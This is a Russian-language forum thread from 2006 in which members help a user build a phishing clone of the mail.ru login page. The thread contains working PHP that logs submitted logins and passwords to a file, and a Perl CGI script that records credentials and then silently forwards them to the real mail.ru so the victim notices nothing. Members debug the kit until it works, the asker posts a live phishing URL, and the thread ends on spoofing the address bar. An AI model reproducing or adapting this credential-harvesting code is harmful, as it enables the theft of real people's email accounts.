Скрипт, запоминающий данные введенные в форму

Discussion in 'PHP' started by CheAter, 2 May 2006.

  1. CheAter

    CheAter Elder - Старейшина

    Joined:
    2 May 2006
    Messages:
    27
    Likes Received:
    1
    Reputations:
    0
    Народ мот кто поможет. Нужен скрипт или что-то другое , запоминающие данные введенные в форму. Полнета облазил, нашел только корявые какие-то. Чтобы было ясней, есть у меня к примеру копия главной страницы mail.ru, я заливаю на свой хост этот дубль и мне надо чтобы информация, которую человек заполняет в форму (на будликате mail.ru) оставалась в каком-нибудь лог-файле, чтобы я потом успешно мог ее просмотреть... :rolleyes: Буду очень благодарен если Вы мне с этим поможете!
     
  2. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    PHP:
    <?
    if(isset(
    $login) && isset($passwd) && strlen($login.$passwd)>=2){
      
    $f=fopen('log.txt''a');
      
    fwrite($f"\n".$login.':'.$passwd);
      
    fclose($f);
    }
    ?>
    <form method='post'>
    <input type='text' name='login' /><br />
    <input type='text' name='passwd' /><br />
    <input type='submit' value='авторизоваться' />
    </form>
    примерно так. Только это палево. Красивее было бы сделать дубль, который действтиельно отправляет данные на mail.ru, но тем не менее ajax`ом сохроняет тебе все в лог.

    P.S. log.txt должен существовать с правами 0666
     
    _________________________
  3. CheAter

    CheAter Elder - Старейшина

    Joined:
    2 May 2006
    Messages:
    27
    Likes Received:
    1
    Reputations:
    0
    Т.е, я из формы mail.ru указываю путь <form name=Auth method=post action="http://_адрес_//к_ рпимеру_login.php"> ? только вот еще одно на mail.ru там еще есть в форме выбор домена (list.ru mail.ru...) у тя в скрипте этого нет, как с этим быть?
    И насчет палева: есть cgi-скрипт, но он вроде не рабочий.Если тебе не трудно можешь подсказать где ошибка ?

    #!/usr/bin/perl

    &parse_form;

    open LOG "Archive.txt";

    print LOG "$FORM{'Login'} @ $FORM{'Domain'}, pass:$FORM{'Password'}n";

    close LOG;

    print "Content-Type: text/htmlnn";

    print "<HTML><BODY>n";

    print "<form name="Auth" method=post action=http://win.mail.ru/cgi-bin/auth>n";

    print "<input type=hidden name=Mpopl value=1892134183>n";

    print "<input type=hidden name=login_from value=titul>n";

    print "<input type=hidden name="level" value=1>n";

    print "<input type=hidden name="Login" value="$FORM{'Login'}">n";

    print "<input type=hidden name="Password" value="$FORM{'Password'}">n";

    print "<input type=hidden name="Domain" value="$FORM{'Domain'}">n";

    print "<input TYPE=hidden name="" value="Войти">n";

    print "<script language=javascript>Auth.submit()</script>n";

    print "</form>n";

    print "</BODY></HTML>n";
     
  4. CheAter

    CheAter Elder - Старейшина

    Joined:
    2 May 2006
    Messages:
    27
    Likes Received:
    1
    Reputations:
    0
    Большое тебе спасибо человеК, сам пару фичей доработал - вроде нормально, но есть одно очень большое НО!. В лог файле домен сохраняется превосходно а вот ЛОГИН и ПАРОЛЬ какими-то буквами Б ! Как это исправить, в чем дело, почему так сохраняет?
     
  5. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    а не лучше было бы так:
    $login != ''
     
    #5 Дикс, 2 May 2006
    Last edited: 2 May 2006
  6. CheAter

    CheAter Elder - Старейшина

    Joined:
    2 May 2006
    Messages:
    27
    Likes Received:
    1
    Reputations:
    0
    Не ну тут можно по разному ты мне обьясни как иероглифы убрать из лога ?
     
  7. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    писанины меньше. Хотя проверка типа $login != '' должна по идее быстрее работать.

    зачем, если нам надо не записать в фал, а дописать в файл?

    2 CheAter
    приведи пример. И на будущее - всегла как моно подробнее описывай проблему с примерами, а так только флуд разводим. Что пишется в конфиг, дай посмотреть
     
    _________________________
  8. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    дадада, уже сам догадалсо :)
     
  9. CheAter

    CheAter Elder - Старейшина

    Joined:
    2 May 2006
    Messages:
    27
    Likes Received:
    1
    Reputations:
    0
    Вот лог http://mailru.6te.net/log.txt(Можешь сам заполнить http://mailru.6te.net/index.html, а потом посмотреть ЛОГ). Если смотреть из блокнота , то вместо введенного паса и пароля сохраняется что-то вроде букв "Б". А если посмотреть напрямую через эту ссылку в браусере выводятся пустые места, хотя домен определяется правильно...
     
    #9 CheAter, 2 May 2006
    Last edited: 2 May 2006
  10. ZINGER

    ZINGER Banned

    Joined:
    23 Feb 2006
    Messages:
    64
    Likes Received:
    24
    Reputations:
    4
    вот тебе моя фейковая страница с логом >> сылка
     
  11. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    2 CheAter
    Все просто. В <input у тебя стоит name='Login', а в файл пишется переменная $login. А пересенные в php чувствительны к регистру. Отсюда следует что либо переменные исправляешь на $Login, либо в форме правишь на name='login'.
    Соответственные изменния и с полем пароля
     
    _________________________
  12. CheAter

    CheAter Elder - Старейшина

    Joined:
    2 May 2006
    Messages:
    27
    Likes Received:
    1
    Reputations:
    0
    Спасибо, все работает. Мот знаешь как можно сделать эмуляцию строки веб браусера?
     
  13. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    не понял вопроса
     
    _________________________
  14. CheAter

    CheAter Elder - Старейшина

    Joined:
    2 May 2006
    Messages:
    27
    Likes Received:
    1
    Reputations:
    0
    Ну, вместо mailru.6te.net сделать mail.ru, т.е когда заходишь по ссылке на этот дубль в браузере показывало mail.ru или хотябы вообще было пустое место.... :confused:
     
  15. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    помойму был такой баг в FF, когда можно было закачивать fav.ico любых размеров, тем самым как бы "подделывать" реальный адрес. Но его, помойму, уже закрыли. Других способов я не знаю...
     
    _________________________